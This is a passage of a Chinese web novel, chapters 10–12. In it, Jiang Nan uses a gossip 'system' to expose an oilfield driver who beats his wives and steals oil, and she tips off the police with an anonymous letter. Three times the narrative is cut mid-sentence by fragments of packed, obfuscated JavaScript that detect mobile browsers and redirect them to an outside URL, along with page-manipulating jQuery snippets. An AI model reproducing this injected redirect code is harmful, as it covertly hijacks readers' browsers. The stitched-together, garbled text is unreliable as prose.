吃完早饭,姜满城趁陈金花出门,悄悄给闺女塞了一块钱:“热了买根冰棍,该偷懒就偷懒,现在根本没有招工的,爸都知道。不过家里还是得听你妈的,爸走了。” 姜楠扯扯嘴角,无语地看着她爸一溜烟蹿没影儿了。 她收拾了收拾,准备下楼,却发现楼下又,又,又闹起来了。 原来是被吴建国砸了玻璃的那几家,不约而同找了过来。这年头,玻璃可不便宜呢,这下子都被碎了,可不得找来嘛。 她们丈夫做错了事?那是范桃花那个女人不要脸,勾引的,她们男人才没错呢。再说,这种事儿,她们男人又不吃亏。被点到名儿的,什么郑老蔫儿、孙大牛、钱大胆,通通齐聚四号楼。 “赔钱,我家前后六扇玻璃呢,都碎了,至少得赔我家十块钱。” 这年头,一块大些的玻璃也就一块钱,这位开口就要十块,属实是狮子大开口了。 “我家也四扇玻璃呢,怎么都得八块钱。” “还有我家......”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236756|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 老吴头死猪不怕开水烫,不管对方说什么,只一句:“不是我家干的。我家大锤和建国都出车了,半个多月都不回来,你们要找,去井上找去。我没钱,我家钱都是我儿子管的,我就是一个老鳏夫,没钱。” “这热闹,不看也罢。”姜楠和程改改挤出人群,感慨了一句。 “咱们楼可在作业处出名了。”程改改来了一句,说完噗嗤笑出声,摇了摇头。 虽然心情不错,但今儿两人的运气却不好。姜楠和程改改转了一上午,啥招工通知都没看到,还被好几个门岗大爷用看傻子的眼神,上上下下打量个遍。这年头,招工还用通知?只要有影儿,早被大家抢光了。 程改改今天没事儿,就陪着姜楠到处乱转。两人转了一上午,最终在供销社买了两个冰棍,蹲地头儿歇凉。 当然,姜楠出钱,怎么也得感谢程改改同学的陪伴不是。 姜楠吃着冰棍,眼神却望向不远处。前面的人影儿,怎么像村里的二赖子?她和程改改现在可是在炼油厂的供销社,距离她们第十作业处的一号院,步行也要半个小时,距离西河岸大队就更远了。二赖子没事儿来这里干嘛? “小楠,裘盼儿跟了咱们一路,她想干嘛?”程改改睨了一眼身后,语气有些不善。任谁被跟了一路也不舒服啊。 “还能干啥,要是真有招工的,想着占便宜呗。”姜楠回过神,也有些不高兴,转头对着裘盼儿重重哼了一声。 “她可真是。”程改改一副不知道说什么好的表情,很有些一言难尽,她皱着眉头,“你说她咋想的,从小你穿啥,她准得再穿一遍,还必须比你好。也不知道是不是吃错药了。” 姜楠耸耸肩,她是明白裘盼儿的想法的,就单纯羡慕嫉妒恨呗。可明白不代表理解,任谁被模仿了七八年,心里也不爽气的。 就说今儿吧,姜楠上身穿了一间米白色碎花小衬衫,下身军绿色长裤。她长得高,穿裤子衬得腿愈发长。 裘盼儿也是这么一身打扮,她只有一米五六,在这个时代也不算矮了,但是得分跟谁比啊。她一心跟姜楠攀比,可不就根豆芽菜似的嘛。 她长得也不差,虽说没姜楠白,但也是很耐看的。就是带着些苦相,没有姜楠身上的青春元气。 此时裘盼儿缩在大树后,心比泡进了黄连还苦。她吸吸鼻子,一屁股坐在地上,眼睛仍是死死盯着前面的两人,嫉妒得差点咬碎了一口牙。 要说裘老太把姜家当成对照组,还真不是碰瓷儿。两家确实是有些像的。 首先姜满城和裘向东都是西河岸大队的,算是老乡。两人同时招工进入油田,成了石油工人,在村里那可是被仰望的存在。 再说两人的家庭,都是双职工,女方条件比男方好,还都只有一个女儿,确实常被人拿来对比。裘盼儿她妈虽然也是西河岸大队出来的,但因为是职工家属,也被安排了工作,算是在小家庭上打了个平手。 但要是再往上数,那就另当别论了。裘向东老丈人是大队支书,也算是正式干部了,每月拿工资的,裘向东家则是最普通的老农民。姜满城呢,虽说他家都是农民,但架不住人家老丈人是油田高级工程师,两个大舅哥也是工程师,这怎么能比。 这不,裘向东为了表示他更孝顺,更疼爱闺女,愣是接来了裘老太,扬言让老太太享享福,顺便照顾裘盼儿。 真的就是顺便。裘向东这个人要面子,自打搬到筒子楼,他媳妇儿和姜满城媳妇儿都只一个闺女,都伤了身子不能再生。姜满城放出豪言,说这辈子只要一个女儿就行,他裘向东能怂吗?那当然不能了,不仅不怂,裘向东这不直接将亲妈接过来,说是照顾年幼的闺女。 这年头谁不重男轻女?就因为如此,裘向东和姜满城的事儿,一时传遍了整个作业处。作业处妇联一看,多好的宣传材料啊,愣是联系油田总报,给两人写了一个礼拜的宣传材料,夸得人都不好意思听。 不好意思归不好意思,可好处是实实在在的,裘向东顺利当上了副队长,姜满城顺利调整工作,从前线石油工人,变成了档案室管理员。当然,打的旗号是为了更好的照顾闺女。嗯,姜满城可没少拿自个儿闺女做法子。 如今,裘盼儿和姜楠都高中毕业,都没工作,也都不用下乡,这不,又被人对比上了。 10. 家暴男 姜楠吃完最后一口冰棍,开始往家赶。从炼油厂到她家,正好路过特车队,这路线可是她一早就安排好的,不多不少,刚刚好。 特车队,全名油田特种车辆大队,车辆包括油井抽油机车、工程起重车、配水车等,是油田很重要的财产。上一辈子姜楠的父亲就曾在特车队干过,那可是拿的A照,每半年就要去车辆管理处体检啥的。她爸年纪大了嫌麻烦,硬是换成了B照。就这,管理人员还不敢做主,非得让她爸签名说是自愿放弃A照。 此时两人路过特车队时,程改改突然说:“咱从中间穿过去吧,这样更快。”当然,她也很想看这些车就是了。她记得小时候,作业处买了最新的大型起重车,大红色的,特车队领导高兴地开着车满油田转悠,他们这些小孩儿在后面哇哇乱叫,要多兴奋就有多兴奋。 姜楠当然是求之不得了。她还想着见到老尤扫描这家伙呢,如今门口没人,当然是进去更好了。 两人是女孩子,而且一看就是油田子弟,程改改穿着工服改的衣服呢。平时经常有小孩儿进去找人,门岗大爷也没拦,两人很轻松就进去了。 也是巧了,两人刚进去,大门打开,一辆抽油车开了进来。姜楠忙拉着程改改躲在门岗后面,正好看见司机位置上坐着的老尤,左脸上一颗大痦子,姜楠一下子就认了出来。 “快扫描。”姜楠吩咐系统。 【已经接上了他的脑电波,等下,他犯的事儿有些多,等我再扫描下。】系统的声音有些兴奋,【宿主,这次是条大鱼。要是抓住了,估计奖励比100吃瓜币还多哦。】 姜楠也有些兴奋,她抿抿嘴角,拉着程改改快步回了家。 “小楠,改改,你俩怎么现在才回来?有厂子招工吗?”刚进家属院,就有大爷大妈开始搭话。 姜楠和程改改两人一路笑着回话,脸都要僵了。终于到了楼道口,两人对视一眼,噗嗤笑出声,手牵手大踏步上楼。 楼梯间,隐隐约约传来老吴头的说话声。 “我家建国也十八了,啥车都会开,早晚接他爸爸的班,这不是提前为油田做贡献,跟着他爸出车,也能出去见见世面。” “建国那身子骨,能开大车吗?” “那哪不行,我们建国早好了,他就是营养不良,以后多吃点儿好的就行。你看我家建国长那么高,怎么可能身子不好。” “那倒是。” “就是呢,这不,我下午没事做,过来感谢感谢小楠,这丫头是个好的,见义勇为,救了我家大锤的命......” 姜楠和程改改对视一眼,刚在四楼露面,老吴头抱着个大包裹,三两步上前,满脸堆笑,当着众人的面就开始了表演。 “小楠,吴爷爷来看你了。谢谢你昨天救了你吴叔叔,这是家里的一点儿心意。你也知道,我家现在就你吴叔叔一个人养家,困难得很,礼物虽薄,心意却是实实在在的。” 老吴头还是很会说话的,当着大家伙儿的面说这些,礼物却包的严严实实,一大包看着可不少。 其他人都以为老吴头在说客气话,一个个的还说老吴头破费了,邻里邻居的帮个忙没啥,大家都不容易。一个个的,不关他们的事,却比谁都会说漂亮话。 姜楠却知道,这一包礼物就只是供销社碎掉的点心渣,一毛钱一大包那种。 这不是,系统早给姜楠露底儿了嘛。姜楠笑笑,她也不是在乎礼物,可这样算计她,就不成。人不犯我我不犯人,人若犯我,我必回之。 姜楠眨巴着大眼睛,诚惶诚恐地接过礼包,不忘动作超快地打开:“吴爷爷,您也太客气了,我就做了一点小事,哪里值得您这么大的礼。太破费了,这可不成,我爸我妈得说我了。” 她一脸的为难,很快眼睛一亮,她眨巴着清澈的大眼睛,说:“这样好了,我挑一样最便宜的留下,其他的吴爷爷您都带走,算是承了您的情,好不好?” 老吴头刚想开口制止,哪想到虎丫头动作这么快,唰唰两下子就打开了袋子。一袋儿碎点心渣就这么出现在人前,刚还替老吴头说话的邻居立时闭了嘴。 丢人,太丢人了。 姜楠却完全没受影响,声音仍是十分欢快,她说:“吴爷爷,这么多点心,我可吃不完。这样,我回去拿个碗装一点,其他的您都带回去,如何?” 老吴头哪里肯应这话,讪笑两声,那手都摆出残影儿了,他面带羞愧地说:“你这丫头说啥呢,你吴爷爷是那吝啬的人?大上午的,供销社人多,东西都抢光了,就剩下这些点心渣。咱们这么多年邻居,我想着你一个小辈儿,也不会跟爷爷计较这些,就给你买了一大包。都拿回家吃吧,爷爷回去了,你好好养病啊,别老是出去瞎跑,还是要注意身体的。” 他一副担心姜楠的好人脸,絮絮叨叨又叮嘱了一大堆,把邻居都听的回了家,这才满意地离开。你看,念经也是有好处的,大家不耐烦走开了,不就没人指责他老吴头抠门儿的事儿了嘛。 老吴头轻飘飘地瞥了程改改一眼,开开心心地回家。姜楠和程改改对视一眼,程改改抖抖身子,小声说:“老色胚。自从我上高中,他老这么看我,真是不要脸!” “哪天咱们想个法子教训教训他。”姜楠低声,而后摆摆手,“我先回家做饭了,你也回吧。” 两家都住西边,在各自家门口告别。路过方阿婆家时,两个小崽子扒着玻璃,眼馋地看着姜楠怀里的大包裹。 姜楠哼一声,半点儿不理会两人渴望的眼神。 两人没看见,后面上楼的裘盼儿,冲着两人的背影狠狠哼了一声。 都是独生子女,为啥姜楠就能过得比她裘盼儿好? 为啥,还不是裘家重男轻女呗。这不,裘盼儿刚到家,就看到她妈陶美玉系着围裙,在外面炒菜,而她奶坐在小板凳上,边嗑瓜子边监工呢。 裘老太冷冷看了孙女一眼,起身关门,厉声问:“有招工的么?” “没有。”裘盼儿缩缩脖子,低头绞手,不敢言语。 “孙女就是不行。这要是孙子,就凭你爸的本事,钻井队还不是随随便便就安排进去了?丫头片子有啥用。”裘老太呸一声,沉声道,“还不去换衣服帮着做饭?还要你奶伺候你们娘俩?你奶这么大年纪了,你就不能懂点事?” 在外人面前,裘老太可是很配合儿子的‘爱女’人设的,时刻把裘盼儿挂在嘴边。可私下,却四处寻摸偏方,逼着裘盼儿她妈偷偷吃,想着再生一个。这年头,没儿子是要被人看不起的。 想到孙子,裘老太从餐厅五斗柜最上面一层,翻出最新求到的偏方,轻轻放到餐桌上,她招手把儿媳妇陶美玉叫进来。 陶美玉正在做饭,她在围裙上擦擦手,低眉顺眼地进屋。 裘老太看见她这个样子就来气,刚关上门就骂:“没用的丧门星,整天摆这幅脸子给谁看!连笑都不会,怪不得向东整日不着家,谁看见你这张脸不膈应。” 骂了一通,消了消火,裘老太指着桌子上的玻璃瓶,说道:“这是我找神婆要的黑狗血,神婆做过法的,你这几天每天晚上十二点喝一口,连喝七天,等向东回来了,你们也好生儿子。听到没?” 陶美玉垂着头,轻轻嗯了一声。她也想生儿子,这女人哪能没儿子,没儿子那是要被人戳脊梁骨的。这么多年她不知道受了妯娌和婆婆多少气,私下也喝了不少药,就是不能生。有时候她都想放弃了,但想到向东,想到她还没给他生个儿子,她心底就又有了希望。只要她生了儿子,向东就会常回来了吧?不会再不着家,去...... 而另一边,有女万事足的姜满城,坐在媳妇儿陈金花后车座上,一路哼着歌儿到了家。屋里,姜楠已经吃过了西瓜,胃疼地消化着系统带来的消息。 “爸,妈,那个老尤可是个大大的坏人!”父母一进屋,姜楠赶忙跳起来开口。 “越是遇见大事,越得镇定。爸平时怎么教你的,泰山崩于前而色不变,如此才能处变不惊,让人看不出破绽。”姜满城难得的严肃脸,闺女有大机缘,万一处事不甚,被人瞧出端倪就不好了。 “爸,我知道错了。”姜楠赶紧立正站好,眼睛却望向陈金花,那眼神,一脸的生无可恋。他爸可是很能叭叭的,这要是没人制止,估计今儿都没时间干别的了,擎等着听训吧。 “好了,小楠还小呢,有的是时候教。小楠你说,老尤犯什么事儿了?”别看陈金花平时咋咋呼呼,一副不好惹的样儿,遇见姜满城发火,那也是有些怕的。没办法,封建老太监的余威,也是威啊。 “爸妈,你们坐好,这话说起来有点儿长。不行,咱们还是先做饭吧,一会儿一边吃饭一边说?”姜楠想起了什么,赶忙改口道,“这到时间了不做饭,邻居该怀疑了。” “哎,我说你个姜楠,打击报复是吧?这话说到一半,让人去干别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236757|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真是够损的。”姜满城敲了一下闺女的脑壳。不过姜楠说的有道理,这筒子楼不做饭,比做好吃的还让人起疑。 他将手里提着的鲫鱼放下,笑眯眯道:“今儿赶巧碰上了鲜鱼,做个清蒸鱼吃。再炒个青菜就齐活儿了,快得很。” 说话间,他猛地打开门,门口探头探脑的小孩儿被抓个正着,是邻居刘老太家的小孙子程地质。小家伙今年四岁,虎头虎脑的,被抓包了也不觉景儿,还笑眯眯地打招呼呢。 “姜叔叔,你咋不做饭?奶说你在家偷吃肉,是不是?” 刘老太身子转了转,全当没看见姜满城出来,耳朵却支棱着,不肯放过姜满城的每一句话。 姜满城笑笑,蹲下身,小声对男孩道:“小地质啊,叔叔跟你说,今天供销社要卖大白兔奶糖,快让你奶给你买,不然就吃不着了。” “大白兔!”程地质眼睛瞪得比铜铃还大,口水不争气地流了出来。他吸溜两下,转身哒哒哒跑过去,抱着刘老太的腿就开始哭嚎。 “奶,我要吃大白兔,大白兔......” 魔音穿耳,余音绕梁。 姜满城立刻哼着歌,理直气壮地开始做饭,丝毫不觉得利用小孩儿有错。他又没撒谎,下午真有大白兔,他还准备翘班去买呢。 他就不明白了,这老程家,在楼里吃的不算差了,毕竟他家儿子是食堂大厨,老爷子又天天守着金子,心里那是有底气的,丝毫不把工资当回事儿。估计儿子也知道点儿什么,毕竟是独子嘛,不然不会每天这么吃。 他挠挠头,刘老太被蒙在鼓里,却不想想为啥她家能吃这么好?还真以为厨子能随便往家带肉啊。真是够糊涂的,还抠门,这不,一听见小孙子要买大白兔,哎呦哎呦的,比挖她的肉还疼呢。 清蒸鱼是很快的,上面放上蒸笼,再顺便熘个馒头,起锅炒个青菜,不到半个小时,姜家就关门吃起了午饭。筒子楼大夏天也得关门,否则那不懂事的人家,真敢上门要吃的。 姜楠喜滋滋夹了一筷子鱼肉,开始讲家暴男老尤的事。 概括来说,就是这老尤,不仅打老婆,将人家暴致死,还利用职务之便,在开抽油车和油罐车期间,伙同搭档将油偷卖给附近的村民,这几年加起来获利上千元,可不是小案子了。 也是如此,他才有钱娶那么多老婆,还有余钱收买老丈人不闹事。 “爸,咋办?怎么揭穿他?”姜楠兴致勃勃,“系统说这次挽救三条人命,加上潜在的受害者,以及破获油田偷盗案,林林总总加起来能给500吃瓜币呢。” 姜满城笑容灿烂,大手一挥:“这么恶劣的事件,咱们管定了。吃瓜币都是小事儿,重要的是清除油田的一颗毒瘤,为油田......” “行了你,少来应付领导的那一套,虚了吧唧的,再说揍你啊。”陈金花扬扬胳膊,肌肉疙瘩触目惊心。 姜满城立马坐正,双手放在双腿上,背脊挺得笔直,要多乖巧有多乖巧:“一切听陈金花同志的。” 姜楠抖了抖身上的鸡皮疙瘩,忍不住开口:“爸,你就别耍花腔了,这事儿怎么办?你拿个主意。” “我的傻闺女呦。”姜满城一脸的嫌弃,身子都趴到桌上了,“你还想跟人硬刚啊?当然是老办法,写告密信,晚上偷偷藏到派出所信箱啊。那老尤敢这么干,上下线肯定打通了的,你贸贸然插手,得罪了谁都不知道,小心哪天被人拍了板砖。再说,老尤就是个小角色,肯定有他不知道的上层,你少脑子发热。” “哦。”姜楠有些悻悻,她还以为曾经混迹后宫的姜公公有什么高招呢,“那我晚上去。” 一般这种事儿都是姜楠动手,她长得高,穿上鞋,再换上男装,加上她又是短发,远远一看,嘿,妥妥的大男人,很容易蒙混过去。其实陈金花也干过,她打扮起来比闺女更像,毕竟虎背熊腰嘛,只是她要工作,这种事儿又得在三更半夜。姜满城怕耽误陈金花工作,所以这两年,一般都是姜楠出马。 “好了,孙玲玲的事儿咱们就管到这里,其余的可不能再管了。不能烂好心,知道吗?”姜满城开始叮嘱闺女。要搁他,他半个字都不会问。孙玲玲既然敢在这个时候和男人好,就得想清楚后果。成年人,做事情是要负责的。 可闺女是个心软的,他姜满城也不能看着闺女着急,不管不顾。怪不得以前东厂的那些老伙计,总是说孩子是人的软肋,诚不欺我啊。 11. 抓捕家暴男 月黑风高,整个作业处都静悄悄的,只余零星的蝉鸣,诉说着夏夜的聒噪与炎热。 姜楠蹑手蹑脚地从派出所离开,等看不到派出所的标志,她才长长舒了一口气。 “没人看见吧?”再次跟系统确认。 【没有,宿主,我扫描过了,周围没有可以接入的脑电波。】 “那就好,你说我爹咋这么能呢,上辈子一个太监,竟然会模仿别人的笔迹,也不知道他做过啥坏事。”姜楠边走,边跟系统八卦她爹的上一世。 【就诬陷小答应跟侍卫的那点事,宿主懂的。】 “那我爹可真不是个好人。”姜楠吐槽,脚步轻松地朝家属院走。 【额,也不能这么说......宿主,吴春丽因为心情不好,这几日都失眠,如今正好醒了,建议你等一下再进去。】 “哎,父母不做人,儿女遭殃啊。”姜楠躲在树后,小小地打了个呵欠。这几天闹腾的,饶是她爱看热闹,如今也困了。 夏天蚊子多,在她拍死了第五百二十六只蚊子后,系统终于带来了吴春丽睡着的消息。姜楠只觉得浑身舒爽,小跑着回了家,一头扎进被窝,谁也不能打扰她睡觉!不能! 第二日很自然起晚了。姜满城和陈金花已经去上班了,餐桌上放着早饭,煮鸡蛋,玉米面窝头和一碗浓浓的大碴子粥。 姜楠吹个口哨,很快洗漱吃早饭。吃完也快九点了,她还打算再去周围转转呢,这做事啊,讲究个坚持,可不能三天打渔两天晒网的。 她换好衣服,锁门,不准备再叫程改改,谁都有个私事不是,再说改改最近要忙着相亲,她可不能总麻烦人家。只是姜楠还没下楼呢,裘盼儿就紧赶着跟了出来。姜楠也是无语了。 这咋就专盯着她呢。 “小楠啊,这都几点了,你才起来,这可不行啊,大姑娘可不能这么懒,你都十六了,可得勤快点,不然以后都不好嫁。” “就是,你看看人家盼儿。”有人瞧见身后亦步亦趋的裘盼儿,开始拉踩,“都是高中毕业,人家盼儿可是六点就起来做早饭了,还跟着裘大姐去供销社买菜,你可是被比下去了。” 姜楠内心翻白眼儿,却也不敢得罪这些大爷大妈,谁让她还得顾忌名声呢,她笑着转移话题:“隋家奶奶,你们说什么呢,这么热闹?我在楼上都听到声响了。” “嗐,这不是林兵相亲的事儿嘛。”曹老太还是老造型,一边摘菜一边开口,“林兵他爸托我给他介绍对象呢。上次那个姚媒婆就是不成,啥人都敢介绍。还得是我老曹出马,咱第十作业处的未婚男女青年,就没有我不知道的。” 曹老太的儿子儿媳都在职工医院工作,不仅工资高,待遇好,而且也都孝顺,是筒子楼里最和睦的家庭,曹老太还当着楼长呢,管整个筒子楼,大小也算个管事。曹老太是个闲不住的,又爱给人做媒,是他们作业处有名的媒婆,好多小年轻都找曹老太做媒呢。 “就是,姚媒婆不行,还得是老曹。”隋家老太笑着恭维。她家也有小年轻,日后少不得要麻烦曹老太帮忙介绍,说两句好话,又不会少块肉。这啥时候,都不能得罪媒婆的。 这边说的热闹,裘老太一脸兴奋地从外面蹿进来,嗷一嗓子:“三号院的孙玲玲大闹特车队呢,说是她爸要把她卖了换彩礼,找领导做主呢。” “哎呦,我的妈,这闺女是啥都不怕啊。”隋家老太不理解,隋家老太大受震撼,“徐大妮,你不是去供销社那守着呢嘛,听谁说的?” “哎呦,路上说,路上说。”曹老太将菜一拢,抱着就往出跑。菜可不能放这,被人顺手牵羊,她不就亏了。 “对对,边走边说。”方阿婆赶紧跟上,不忘催裘老太,“裘家大姐,咋回事?” “哎呀,那不是那天供销社的几个老头立功了嘛,今天大家都去那边蹲点,想着再截胡点啥好东西,这不都守着呢嘛,就看到孙玲玲衣衫不整,披散着头发往特车队跑,大家就跟上了。我看了两眼,紧赶慢赶来叫大家伙儿。”裘老太跑得都开始喘了,还不忘昂着头,一副战斗的大公鸡样。 “还是老裘你想着我们呐。”有邻居应和。 “哎,不对啊,刘大丫呢?她怎么不在?”裘老太反应过来,她刚才就觉得不对,总觉得少了点儿什么,这是少了个人啊。 “她家改改今天相亲,在楼上帮着孙女捯饬呢。”方阿婆解释道,“这不是改改高中毕业了,还没工作,要是不嫁人,可能就要下乡了。他们家也不知道找的哪个媒婆,今儿要去男方家相亲呢。” “啥样人啊?”裘老太好奇。 “不知道。”方阿婆摇摇头,她也打探过,可刘老太那个人,第一次跟个锯嘴的葫芦似的,啥也不说,可急死她了。 大家边走边说,很快就到了特车队。 姜楠,姜楠当然是混在其中了。昨天她才去匿名送了告密信,今儿孙玲玲就闹开了,这也太快了吧。估计警察还没开始调查呢,这,闹的有点早了啊。 她感慨孙玲玲闹的不是时机,却不想孙玲玲可是在救命。她早知道老尤的大名,她爸的同事嘛,都死了三个媳妇了,她爸可没少在家念叨,暗暗还在羡慕老尤的艳福。可她从来没想到,自己有一天会跟这个老男人联系在一起啊。 她一个二十二的年轻貌美女青年,嫁给一个死了三个老婆的家暴男,打死她也不愿意啊。可孙玲玲知道,她爸是个要面子的,又爱钱,家里啥事儿都听她爸的,所以昨晚她没敢闹,听话地点头睡觉。家里也以为她怕了,今早孙父去上班,孙玲玲趁人不注意就跑了出来。不闹一闹,真让她嫁给老尤,她还不如一头撞死! 孙玲玲也算是大胆的女同志了,不然也不敢在这个时候,和放映员处对象时就敢这个那个。她嗖嗖嗖跑到特车队大门口,坐地上就开始哭嚎。蹬着脚,拍着大腿,一副老太太滚地撒泼的架势,娴熟得很。 “大家救救我啊,我爹要把我卖了换彩礼啊。这都新时代了,咱油田还有这样的事儿,你们特车队管不管?要是不管,我可就去厂办找领导,找妇联了啊。没这样儿的,我一个二十二的大姑娘,要嫁给一个快四十的老鳏夫,哪有这么心狠的爹啊。大家救救我啊,我不能嫁啊。” 她擦擦眼泪,继续拍着大腿哭嚎。 “那老尤就是个打老婆的混蛋,他都死了三个老婆了,还想娶,他怎么这么能呢。大家可得给我做主啊。我可不想嫁给老鳏夫,成为他第四个死了的老婆啊。大家可得给我做主啊。” 一声声的哭嚎,立马引来了众人围观。特车队的人也很快赶了出来,孙玲玲她爹孙大牛也跑了出来,尤爱钱老尤也在其中。他阴沉着一张脸,黑眼睛渗着幽暗的光。孙玲玲瞥见,哆嗦了一下,哭得愈发凄惨。 要说老尤,刚开始其实并不想招惹孙玲玲。他以往的老婆,都是附近村里的。这年头,城乡差距大,农村人家,累死累活,一年都结余不了多少钱,这上百的彩礼钱可是能顶大用的。因此,就算是闺女被折磨死了,他们也没闹。而且老尤找的都是那些不疼闺女的人家,这才能这么多年都没出事。 可是孙玲玲长得好,如今成了破鞋,老尤就觉得他能想一想了。他虽然爱打人,也想打俊些的媳妇儿啊。他一个念头,没想到倒是惹祸上身了。 对,惹祸上身,他有感觉,今天他可能要遭。 尤爱钱抬眼往人群里皴寻,有那看着不熟悉的,悄悄退出去,疾步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236758|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往外走。老尤皱皱眉,这些人,是要去哪儿? 孙大牛赤红着眼,抬步,咣咣两下,给闺女来了两个大嘴巴子。丢人现眼的,就她还敢称大姑娘。他以前是看小年条件好,没吭声。可谁知道这个不是东西的,结婚了啊。他家这闺女可不能砸手里,已经是破鞋了,废物利用换点儿彩礼,给儿子娶个条件好的,有啥?这年头谁家不这么干!这个该死的大丫头,竟然敢来闹事,她怎么敢的?! 父女俩在这边对骂,姜楠和邻居就是这时候到的。虽然人多,挤不到近前,但是叫骂声可不小,一干人听得清清楚楚。一会儿一个“不懂事的臭丫头”,一会儿一个“我不想死”,听得人都更精神了。 “这孙玲玲也是够能闹腾的,不过她也苦,不闹不行啊,要是嫁给老尤,那才是毁了呢。” “那也不能这么说父母啊,自来父母哪有不疼孩子的,她爹把她嫁给老尤,肯定是考察过的。说不定那老尤是个好的呢。俩人是同事,总归比我们外人知道的多。” “哎呀,我跟你说,不是这么回事。”前头看八卦的老大爷回过头,一脸你们什么都不知道的表情,“那老尤就不是个东西,就是死了也不能嫁啊。” 这边说的比三个当事人还热闹,没多久,就传来严肃的呵斥声。 “都让一让,警察来了,让一让。”一名相对来说比较年轻的警察开口道。众人回头,好嘛,四名穿着制服的民警走过来,当中依然是一脸严肃的蓝青山蓝警官。 蓝青山扫了眼人群,不意外地发现了在外围踮着脚尖眺望的姜楠。他伸出右手,隔空点了点爱凑热闹的小丫头,沉着脸朝前走。 这啥时候,基层工作都不好做啊,时刻都得严肃着一张脸,不然你要是笑脸相迎,那蹬鼻子上脸的,还以为他有多厉害呢,再可着劲儿的闹事,那才是麻烦。所以出警的四个民警,那脸是一个比一个臭。 人群立刻让出一条道儿,看着警察穿过去。刚过去,人群就自动合拢,一个个的小声嘀咕:“这警察咋来了,就吵个架,还惊动警察啊?” “就是,谁去找的警察啊?这不是吃饱了撑的嘛。”有人不满道,“这吵架就找警察,还让不让人过日子了。” 姜楠眼睛闪了闪,看来昨晚的告密信受到了重视,这民警一大早就来蹲点儿了。 可不重视嘛,他们油田派出所最重要的任务之一,就是保护油田的财产安全。这有职工利用职务之便,偷偷卖油,还有打杀人的嫌疑,这么重大的案件,可意味着大功劳啊。早上,第一个到派出所的沈所长,看到这封信时,眼睛都亮了好几度,立刻派便衣来特车队蹲守。早先尤爱钱看到往外走的几个人,就是一大早过来踩点的便衣。 蓝青山几人还没走到前面,尤爱钱就想钻进人群往出跑。他干的坏事儿多了,可是最怕警察的。但他是当事人,他想走,围观的群众也不让啊,大家纷纷开口:“老尤,你可不能走,这女同志说的事儿你可得说清楚。大家都是油田的,不能冤枉好人,也不能放过坏人呐。” “就是,说清楚,大家彼此也轻松不是。也给你洗刷洗刷名声。” 人群里,有人发出意味深长的呵呵声。尤爱钱冷着一张脸,进也不是,退又退不出去,倒是给警察提供了时间。蓝青山清清嗓子,抬手往下压了压,开口道:“同志们,静一静。今儿这事可是牵扯到婚姻自由的大事。大家帮帮忙,去把妇联的人叫到派出所,我们在派出所把事情解释清楚,也给大家一个说法,好不好?放心,我们民警肯定是不会放过一个坏人,也不会冤枉一个好人的。大家散了吧,都散了吧。” 可众人是那么好散的嘛,有人走了,但大多数还坠在后面,等着看最终结果呢。 12. 吃肉 姜楠倒是没去凑这个热闹,她心虚啊,怕这个事儿再沾到身上。尤爱钱可是敢杀人的,她才不往前凑呢。如今人进了派出所,想出来可就没那么容易了。 尤爱钱知道吗?他自然知道,可有什么办法,他也不能跑啊,这不是不打自招嘛。他只能赌,赌警察啥也不知道,只是来处理他和孙玲玲婚事的,不然咋办?这时候他倒是后悔了,后悔招惹孙家,招惹孙玲玲。 姜楠体会不到尤爱钱的悔意,她此时退出人群,准备换一条路回家,顺便再去厂子看看招工的事儿。只是她一动,裘盼儿也跟着动。姜楠无法,只得无奈地看着裘盼儿,求饶道:“大姐,您能别盯着我吗?这一天天的,你没事儿干啊?” 裘盼儿冷着脸,哼一声,双手抓着挎包带子,愤愤开口:“你哪只眼睛看到我盯着你了?就许你去厂子里看招工通知,我就不能去了?!大家都是高中毕业,你能去,我当然也能。而且招工信息谁都可以看,我可没跟着你,你别自作多情了。” 要说裘盼儿心有多坏,那倒是没有的,她纯粹是嫉妒而已。裘家要面子,表面功夫还是会做的,虽然重男轻女,裘盼儿吃穿也不差,过得比楼里大多数女孩子都好。可要分跟谁比了,她从小被人拿来和姜楠比,自然是觉得事事不如意,从心底里嫉恨姜楠了。 姜楠见赶不走人,也不再跟她废话,今天她本来就起晚了,又看了一场热闹,上午肯定跑不了几个厂子就得回家,可不能跟裘盼儿耽误时间。 一路上倒是遇到很多朝派出所跑的,一看就是去看热闹的。 她没耽误,看了几个厂子的宣传栏,依然没有招工信息。姜楠也不气馁,沿着柏油路回了家。地处油田,他们这一片的路都是沥青铺的柏油路,跟周边农村的土路可不一样。 要么说油田工人待遇好嘛,这可是方方面面都有体现的。她心情畅快地回到家属院,觉得作为两代石油人,还是有点儿骄傲的。 